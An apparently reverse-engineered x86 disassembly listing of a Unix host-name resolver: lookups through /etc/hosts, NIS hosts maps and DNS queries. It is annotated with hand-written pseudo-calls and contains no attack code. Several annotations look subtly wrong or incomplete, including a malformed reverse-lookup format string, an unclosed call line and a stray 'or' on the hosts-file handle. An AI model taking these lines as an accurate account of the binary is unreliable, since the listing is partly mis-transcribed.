loc_0_804BDE0:				; CODE XREF: sub_0_804B800+446j
					; sub_0_804B800+5D6j
		cmp	[ebp+var_128], 0
		jnz	short loc_0_804BDEF
		inc	[ebp+var_124]

loc_0_804BDEF:				; CODE XREF: sub_0_804B800+200j
					; sub_0_804B800+288j ...
		mov	eax, [ebp+var_120]
		dec	[ebp+var_120]
		test	eax, eax
		jle	short loc_0_804BE14
		cmp	[ebp+var_108], esi
		jbe	short loc_0_804BE14
		cmp	[ebp+var_128], 0
		jz	loc_0_804B970

loc_0_804BE14:				; CODE XREF: sub_0_804B800+15Dj
					; sub_0_804B800+169j ...
		cmp	[ebp+var_124], 0
		jz	short loc_0_804BE94
		mov	edx, [ebp+var_110]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_114]
		mov	dword ptr [eax], 0
		test	byte_0_80786A8,	0F0h
		jz	short loc_0_804BE67
		cmp	[ebp+var_124], 1
		jle	short loc_0_804BE67
		cmp	[ebp+arg_C], 1
		jnz	short loc_0_804BE67
		cmp	[ebp+arg_10], 1
		jnz	short loc_0_804BE67
		mov	edx, [ebp+var_124]
		push	edx
		push	offset dword_0_8079DE4
		call	sub_0_804CBE4
		add	esp, 8

loc_0_804BE67:				; CODE XREF: sub_0_804B800+63Cj
					; sub_0_804B800+645j ...
		cmp	ds:dword_0_8079E74, 0
		jnz	loc_0_804BC58
		call	strcpy(var_10c,arg_8)
		mov	eax, [ebp+var_10C]
		mov	ds:dword_0_8079E74, eax
		jmp	loc_0_804BC58
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BE94:				; CODE XREF: sub_0_804B800+61Bj
		mov	ds:dword_0_807E788, 2

loc_0_804BE9E:				; CODE XREF: sub_0_804B800+7Aj
					; sub_0_804B800+B2j
		xor	eax, eax

loc_0_804BEA0:				; CODE XREF: sub_0_804B800+45Dj
		lea	esp, [ebp+var_144]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804B800	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	dword_0_80784F8, 0
		jnz	short loc_0_804BEC4
		call	sub_0_804A9D8

loc_0_804BEC4:				; CODE XREF: .text:0804BEBDj
		xor	edi, edi
		cmp	ds:dword_0_8079DD4, 0
		jz	loc_0_804BF73
		mov	esi, offset dword_0_8079DD4

loc_0_804BED8:				; CODE XREF: .text:0804BF6Dj
		cmp	edi, 3
		jg	loc_0_804BF73
		mov	eax, [esi]
		cmp	eax, 2
		jz	short loc_0_804BEF4
		jle	short loc_0_804BF66
		cmp	eax, 3
		jz	short loc_0_804BF1C
		jmp	short loc_0_804BF66
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BEF4:				; CODE XREF: .text:0804BEE6j
		call	sub_0_804C5A4
		mov	ebx, eax
		cmp	ds:dword_0_8079DE8, 0
		jz	short loc_0_804BF16
		cmp	dword_0_807851C, 0
		jz	short loc_0_804BF16
		push	ebx
		call	sub_0_804A5CC
		add	esp, 4

loc_0_804BF16:				; CODE XREF: .text:0804BF02j
					; .text:0804BF0Bj
		test	ebx, ebx
		jnz	short loc_0_804BF4C
		jmp	short loc_0_804BF5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BF1C:				; CODE XREF: .text:0804BEEDj
		call	sub_0_804C9E4(0,'hosts.byname')
		mov	ebx, eax
		cmp	ds:dword_0_8079DE8, 0
		jz	short loc_0_804BF48
		cmp	dword_0_807851C, 0
		jz	short loc_0_804BF48
		push	ebx
		call	sub_0_804A5CC
		add	esp, 4

loc_0_804BF48:				; CODE XREF: .text:0804BF34j
					; .text:0804BF3Dj
		test	ebx, ebx
		jz	short loc_0_804BF5C

loc_0_804BF4C:				; CODE XREF: .text:0804BF18j
		mov	ds:dword_0_807E788, 0
		mov	eax, ebx
		jmp	short loc_0_804BF75
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BF5C:				; CODE XREF: .text:0804BF1Aj
					; .text:0804BF4Aj
		mov	ds:dword_0_807E788, 1

loc_0_804BF66:				; CODE XREF: .text:0804BEE8j
					; .text:0804BEEFj
		add	esi, 4
		inc	edi
		cmp	dword ptr [esi], 0
		jnz	loc_0_804BED8

loc_0_804BF73:				; CODE XREF: .text:0804BECDj
					; .text:0804BEDBj
		xor	eax, eax

loc_0_804BF75:				; CODE XREF: .text:0804BF58j
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804BF80	proc near		; CODE XREF: sub_0_8049138+7p
					; sub_0_8049174+F1p ...

var_410		= byte ptr -410h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		movzx	edx, byte ptr [edx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jz	loc_0_804C058
		mov	ecx, [ebp+arg_0]
		jmp	loc_0_804C049
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BFAC:				; CODE XREF: sub_0_804BF80+D2j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_804CE8C
		mov	ds:dword_0_807A318, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_804BFD0
		mov	ds:dword_0_807E788, 1
		jmp	loc_0_804C225
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BFD0:				; CODE XREF: sub_0_804BF80+3Dj
		mov	edx, [ebp+arg_0]
		mov	ds:dword_0_8079E74, edx
		mov	ds:dword_0_8079E78, offset dword_0_8079E88
		mov	ds:dword_0_8079E88, 0
		mov	ds:dword_0_8079E7C, 2
		mov	ds:dword_0_8079E80, 4
		mov	ds:dword_0_8079DE4, offset dword_0_807A318
		mov	ds:dword_0_8079DE8, 0
		mov	ds:dword_0_8079E84, offset dword_0_8079DE4
		mov	ds:dword_0_807E788, 0
		mov	eax, offset dword_0_8079E74
		jmp	loc_0_804C227
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C034:				; CODE XREF: sub_0_804BF80+CCj
		movzx	edx, byte ptr [ecx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jnz	short loc_0_804C048
		cmp	byte ptr [ecx],	2Eh
		jnz	short loc_0_804C058

loc_0_804C048:				; CODE XREF: sub_0_804BF80+C1j
		inc	ecx

loc_0_804C049:				; CODE XREF: sub_0_804BF80+25j
		cmp	byte ptr [ecx],	0
		jnz	short loc_0_804C034
		cmp	byte ptr [ecx-1], 2Eh
		jnz	loc_0_804BFAC

loc_0_804C058:				; CODE XREF: sub_0_804BF80+1Cj
					; sub_0_804BF80+C6j
		cmp	dword_0_80784F8, 0
		jnz	short loc_0_804C066
		call	sub_0_804A9D8

loc_0_804C066:				; CODE XREF: sub_0_804BF80+DFj
		xor	edi, edi
		cmp	ds:dword_0_8079DD4, 0
		jz	loc_0_804C225
		lea	esi, [esi+0]

loc_0_804C078:				; CODE XREF: sub_0_804BF80+29Fj
		cmp	edi, 3
		jg	loc_0_804C225
		mov	eax, ds:dword_0_8079DD4[edi*4]
		cmp	eax, 2
		jz	loc_0_804C134
		jg	short loc_0_804C0A0
		cmp	eax, 1
		jz	short loc_0_804C0B0
		jmp	loc_0_804C216
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C0A0:				; CODE XREF: sub_0_804BF80+111j
		cmp	eax, 3
		jz	loc_0_804C194
		jmp	loc_0_804C216
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C0B0:				; CODE XREF: sub_0_804BF80+116j
		call	res_search(arg_0, ns_c_in, ns_t_a, [var_400], 400h)
		test	eax, eax
		jge	short loc_0_804C0F0
		test	byte ptr dword_0_807854C, 2
		jz	loc_0_804C216
		call	printf('res_search failed')
		add	esp, 4
		jmp	loc_0_804C216
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C0F0:				; CODE XREF: sub_0_804BF80+14Ej
		push	1
		push	1
		mov	edx, [ebp+arg_0]
		push	edx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_0_804B800
		mov	esi, eax
		add	esp, 14h
		cmp	ds:dword_0_8079DE8, 0
		jz	short loc_0_804C125
		cmp	dword_0_807851C, 0
		jz	short loc_0_804C125
		push	esi
		call	sub_0_804A5CC
		add	esp, 4

loc_0_804C125:				; CODE XREF: sub_0_804BF80+191j
					; sub_0_804BF80+19Aj
		test	esi, esi
		jz	loc_0_804C216
		jmp	loc_0_804C1FA
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C134:				; CODE XREF: sub_0_804BF80+10Bj
		cmp	ds:dword_0_807A348, 0
		jz	short loc_0_804C164
		call	strdup(arg_0)
		mov	ebx, eax
		push	ebx
		call	sub_0_804A4F4
		push	ebx
		call	sub_0_804C6FC
		mov	esi, eax
		call	free(esi)
		add	esp, 10h
		jmp	short loc_0_804C172
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C164:				; CODE XREF: sub_0_804BF80+1BBj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_804C6FC
		mov	esi, eax
		add	esp, 4

loc_0_804C172:				; CODE XREF: sub_0_804BF80+1DFj
		cmp	ds:dword_0_8079DE8, 0
		jz	short loc_0_804C18D
		cmp	dword_0_807851C, 0
		jz	short loc_0_804C18D
		push	esi
		call	sub_0_804A5CC
		add	esp, 4

loc_0_804C18D:				; CODE XREF: sub_0_804BF80+1F9j
					; sub_0_804BF80+202j
		test	esi, esi
		jnz	short loc_0_804C1FA
		jmp	short loc_0_804C20C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C194:				; CODE XREF: sub_0_804BF80+123j
		cmp	ds:dword_0_807A348, 0
		jz	short loc_0_804C1C8
		call	strdup(arg_0)
		mov	ebx, eax
		push	ebx
		call	sub_0_804A4F4
		push	offset aHosts_byname ; "hosts.byname"
		push	ebx
		call	sub_0_804C9E4
		mov	esi, eax
		call	free(ebx)
		add	esp, 14h
		jmp	short loc_0_804C1DB
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C1C8:				; CODE XREF: sub_0_804BF80+21Bj
		push	offset aHosts_byname ; "hosts.byname"
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_804C9E4
		mov	esi, eax
		add	esp, 8

loc_0_804C1DB:				; CODE XREF: sub_0_804BF80+244j
		cmp	ds:dword_0_8079DE8, 0
		jz	short loc_0_804C1F6
		cmp	dword_0_807851C, 0
		jz	short loc_0_804C1F6
		push	esi
		call	sub_0_804A5CC
		add	esp, 4

loc_0_804C1F6:				; CODE XREF: sub_0_804BF80+262j
					; sub_0_804BF80+26Bj
		test	esi, esi
		jz	short loc_0_804C20C

loc_0_804C1FA:				; CODE XREF: sub_0_804BF80+1ADj
					; sub_0_804BF80+20Fj
		mov	ds:dword_0_807E788, 0
		push	esi
		call	sub_0_804A580
		jmp	short loc_0_804C227
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804C20C:				; CODE XREF: sub_0_804BF80+211j
					; sub_0_804BF80+278j
		mov	ds:dword_0_807E788, 1

loc_0_804C216:				; CODE XREF: sub_0_804BF80+118j
					; sub_0_804BF80+129j ...
		inc	edi
		cmp	ds:dword_0_8079DD4[edi*4], 0
		jnz	loc_0_804C078

loc_0_804C225:				; CODE XREF: sub_0_804BF80+49j
					; sub_0_804BF80+EFj ...
		xor	eax, eax

loc_0_804C227:				; CODE XREF: sub_0_804BF80+AEj
					; sub_0_804BF80+28Aj
		lea	esp, [ebp+var_410]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804BF80	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		sub	esp, 608h
		push	edi
		push	esi
		push	ebx
		cmp	dword ptr [ebp+10h], 2
		jz	short loc_0_804C26C
		mov	ds:dword_0_807E788, 0FFFFFFFFh
		jmp	loc_0_804C526
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C258:				; CODE XREF: .text:0804C507j
		mov	ds:dword_0_807E788, 0
		mov	eax, edi
		jmp	loc_0_804C528
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C26C:				; CODE XREF: .text:0804C244j
		cmp	dword_0_80784F8, 0
		jnz	short loc_0_804C27A
		call	sub_0_804A9D8

loc_0_804C27A:				; CODE XREF: .text:0804C273j
		call	sub_0_805E954
		xor	esi, esi
		cmp	ds:dword_0_8079DD4, 0
		jz	loc_0_804C526
		lea	ebx, [ebp-500h]
		lea	ecx, [ebp-604h]
		mov	[ebp-608h], ecx

loc_0_804C2A0:				; CODE XREF: .text:0804C520j
		mov	eax, ds:dword_0_8079DD4[esi*4]
		cmp	eax, 2
		jz	loc_0_804C4BC
		jg	short loc_0_804C2BC
		cmp	eax, 1
		jz	short loc_0_804C2CC
		jmp	loc_0_804C517
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804C2BC:				; CODE XREF: .text:0804C2B0j
		cmp	eax, 3
		jz	loc_0_804C4D4
		jmp	loc_0_804C517
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C2CC:				; CODE XREF: .text:0804C2B5j
		mov	ecx, [ebp+8]
		call	sprintf(&ebx,'%u.%u.%u.%u inAddress',ecx[0],ecx[1],ecx[2],ecx[3])
		call	res_query(ebx, ns_c_in, ns_t_ptr, [ebp-400h], 400h)
		test	eax, eax
		jge	short loc_0_804C32C
		test	byte ptr dword_0_807854C, 2
		jz	loc_0_804C517
		call	printf('res_query failed\n')
		jmp	loc_0_804C517
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C32C:				; CODE XREF: .text:0804C308j
		push	0Ch
		push	1
		push	ebx
		push	eax
		lea	eax, [ebp-400h]
		push	eax
		call	sub_0_804B800
		mov	edi, eax
		add	esp, 14h
		test	edi, edi
		jz	loc_0_804C50D
		cmp	dword_0_8078514, 0
		jz	loc_0_804C480
		mov	eax, strlen([edi])+1
		lea	esi, [eax-1]
		cmp	esi, 0FFh
		jg	loc_0_804C526
		call	strcpy(ebp-608h,edx)
		mov	byte ptr [esi+ebp-604h], 2Eh
		mov	byte ptr [esi+ebp-603h], 0
		mov	ebx, dword_0_8078520
		mov	dword_0_8078520, 0
		mov	ecx, [ebp-608h]
		push	ecx
		call	sub_0_804BF80
		mov	edi, eax
		mov	dword_0_8078520, ebx
		mov	byte ptr [esi+ebp-604h], 0
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_0_804C3DF
		mov	eax, [edi]
		push	eax
		mov	ecx, [ebp-608h]
		push	ecx
		call	sub_0_8057ADC(
		add	esp, 8
		test	eax, eax
		jz	short loc_0_804C3F0

loc_0_804C3DF:				; CODE XREF: .text:0804C3C7j
		mov	ds:dword_0_807E788, 1
		jmp	loc_0_804C526
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C3F0:				; CODE XREF: .text:0804C3DDj
		mov	ebx, [edi+10h]
		cmp	dword ptr [ebx], 0
		jz	short loc_0_804C41B

loc_0_804C3F8:				; CODE XREF: .text:0804C419j
		call	bcmp([ebx],[ebp+8],[ebp+0c])
		test	eax, eax
		jz	loc_0_804C4AA
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_0_804C3F8

loc_0_804C41B:				; CODE XREF: .text:0804C3F6j
		mov	ds:dword_0_807E788, 1
		cmp	dword_0_8078518, 0
		jz	loc_0_804C526
		push	20h
		push	1
		push	offset aResolv	; "resolv"
		call	sub_0_80552B0
		mov	ecx, [ebp+8]
		movzx	eax, byte ptr [ecx+3]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx]
		push	eax
		mov	eax, [edi]
		push	eax
		push	offset aGethostbyaddrS ; "gethostbyaddr: %s != %u.%u.%u.%u, possi"...
		push	10h
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		push	eax
		push	5
		call	sub_0_8054EB0
		jmp	loc_0_804C526
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C480:				; CODE XREF: .text:0804C352j
		mov	ecx, [ebp+10h]
		mov	[edi+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	[edi+0Ch], ecx
		mov	ds:dword_0_8079DE4, offset dword_0_807A318
		mov	ds:dword_0_8079DE8, 0
		mov	ecx, [ebp+8]
		mov	eax, [ecx]
		mov	ds:dword_0_807A318, eax

loc_0_804C4AA:				; CODE XREF: .text:0804C40Dj
		mov	ds:dword_0_807E788, 0
		push	edi
		call	sub_0_804A580
		jmp	short loc_0_804C528
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804C4BC:				; CODE XREF: .text:0804C2AAj
		mov	ecx, [ebp+10h]
		push	ecx
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_0_804CB94
		mov	edi, eax
		add	esp, 0Ch
		jmp	short loc_0_804C505
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804C4D4:				; CODE XREF: .text:0804C2BFj
		mov	ecx, [ebp+8]
		call	sprintf(&ebx,aU_U_U_U_0,ecx[0],ecx[1],ecx[2],ecx[3])
		push	offset aHosts_byaddr ; "hosts.byaddr"
		push	ebx
		call	sub_0_804C9E4
		mov	edi, eax
		add	esp, 20h

loc_0_804C505:				; CODE XREF: .text:0804C4D2j
		test	edi, edi
		jnz	loc_0_804C258

loc_0_804C50D:				; CODE XREF: .text:0804C345j
		mov	ds:dword_0_807E788, 1

loc_0_804C517:				; CODE XREF: .text:0804C2B7j
					; .text:0804C2C5j ...
		inc	esi
		cmp	ds:dword_0_8079DD4[esi*4], 0
		jnz	loc_0_804C2A0

loc_0_804C526:				; CODE XREF: .text:0804C250j
					; .text:0804C288j ...
		xor	eax, eax

loc_0_804C528:				; CODE XREF: .text:0804C264j
					; .text:0804C4BAj
		lea	esp, [ebp-614h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804C538	proc near		; CODE XREF: sub_0_804C6FC+7Fp
					; sub_0_804CB94+Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	hostFile, 0
		jnz	short loc_0_804C55C
		call	fopen('/etc/hosts','r')
		mov	hostFile, eax
		jmp	short loc_0_804C567
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C55C:				; CODE XREF: sub_0_804C538+Aj
		mov	eax, hostFile
		push	eax
		call	sub_0_8054DB8

loc_0_804C567:				; CODE XREF: sub_0_804C538+20j
		mov	edx, [ebp+arg_0]
		or	hostFile, edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804C538	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804C574	proc near		; CODE XREF: sub_0_804C6FC+1DCp
					; sub_0_804C6FC+1F4p ...
		push	ebp
		mov	ebp, esp
		cmp	hostFile, 0
		jz	short loc_0_804C59E
		cmp	dword_0_807850C, 0
		jnz	short loc_0_804C59E
		call	fclose(hostFile)
		mov	hostFile, 0

loc_0_804C59E:				; CODE XREF: sub_0_804C574+Aj
					; sub_0_804C574+13j
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804C574	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804C5A4	proc near		; CODE XREF: .text:0804BEF4p
					; sub_0_804C6FC+8Cp ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		cmp	hostFile, 0
		jnz	short loc_0_804C5E0
		call	fopen('/etc/hosts','r')
		mov	hostFile, eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_804C5E0
		mov	ds:dword_0_807E788, 0FFFFFFFFh
		xor	eax, eax
		jmp	loc_0_804C6F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C5E0:				; CODE XREF: sub_0_804C5A4+Cj
					; sub_0_804C5A4+27j ...
		call	fread(unk_0_8079f14,400h,hostFile)
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_0_804C610
		mov	ds:dword_0_807E788, 1
		xor	eax, eax
		jmp	loc_0_804C6F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C610:				; CODE XREF: sub_0_804C5A4+58j
		cmp	byte ptr [esi],	23h
		jz	short loc_0_804C5E0
		call	strpbrk(esi,'#\n')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804C5E0
		mov	byte ptr [ebx],	0
		call	strpbrk(esi,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804C5E0
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	ds:dword_0_8079E84, offset dword_0_807A340
		mov	ds:dword_0_807A340, offset unk_0_807A31C
		push	esi
		call	sub_0_804CE8C
		mov	edx, eax
		mov	eax, ds:dword_0_8079E84
		mov	eax, [eax]
		mov	[eax], edx
		mov	ds:dword_0_8079E80, 4
		mov	ds:dword_0_8079E7C, 2
		add	esp, 4
		jmp	short loc_0_804C685
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C684:				; CODE XREF: sub_0_804C5A4+E4j
					; sub_0_804C5A4+E9j
		inc	ebx

loc_0_804C685:				; CODE XREF: sub_0_804C5A4+DCj
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804C684
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804C684
		mov	ds:dword_0_8079E74, ebx
		mov	ds:dword_0_8079E78, offset dword_0_8079E88
		mov	esi, offset dword_0_8079E88
		jmp	short loc_0_804C6C4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C6A8:				; CODE XREF: sub_0_804C5A4+138j
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804C6DE
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804C6DB
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804C6DB
		cmp	esi, offset unk_0_8079F10
		jnb	short loc_0_804C6C4
		mov	[esi], ebx
		add	esi, 4

loc_0_804C6C4:				; CODE XREF: sub_0_804C5A4+100j
					; sub_0_804C5A4+119j
		call	strpbrk(ebx,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804C6DE
		mov	byte ptr [ebx],	0

loc_0_804C6DB:				; CODE XREF: sub_0_804C5A4+10Cj
					; sub_0_804C5A4+111j
		inc	ebx
		jnz	short loc_0_804C6A8

loc_0_804C6DE:				; CODE XREF: sub_0_804C5A4+107j
					; sub_0_804C5A4+132j
		mov	dword ptr [esi], 0
		mov	ds:dword_0_807E788, 0
		mov	eax, offset dword_0_8079E74

loc_0_804C6F3:				; CODE XREF: sub_0_804C5A4+35j
					; sub_0_804C5A4+66j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804C5A4	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804C6FC	proc near		; CODE XREF: sub_0_804BF80+1CFp
					; sub_0_804BF80+1E8p

var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	[ebp+var_64], 0
		mov	[ebp+var_4C], offset dword_0_8079BB8
		mov	[ebp+var_50], offset dword_0_8079C48
		mov	ds:dword_0_8079BB8, 0
		mov	ds:dword_0_8079C48, 0
		mov	[ebp+var_54], offset unk_0_80793B4
		mov	[ebp+var_58], offset unk_0_80797B5
		mov	[ebp+var_5C], 401h
		mov	[ebp+var_60], 401h
		mov	ds:dword_0_8079CEC, 0
		mov	ds:dword_0_8079CF0, 0
		call	strcpy(unk_8079d78,arg_0)
		call	getdomainname(var_40,40h)
		push	0
		call	sub_0_804C538
		add	esp, 14h
		mov	[ebp+var_68], ebx
		lea	esi, [esi]

loc_0_804C788:				; CODE XREF: sub_0_804C6FC+190j
					; sub_0_804C6FC+1D4j
		call	sub_0_804C5A4
		mov	esi, eax
		test	esi, esi
		jz	loc_0_804C8D8
		call	strcasecmp([esi],varg_0)
		test	eax, eax
		jnz	short loc_0_804C7B0
		inc	edi
		jmp	short loc_0_804C7ED
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804C7B0:				; CODE XREF: sub_0_804C6FC+ACj
		mov	ebx, [esi+4]
		cmp	dword ptr [ebx], 0
		jz	short loc_0_804C7ED

loc_0_804C7B8:				; CODE XREF: sub_0_804C6FC+EFj
		call	strcasecmp([ebx],arg_0)
		test	eax, eax
		jnz	short loc_0_804C7E5
		inc	edi
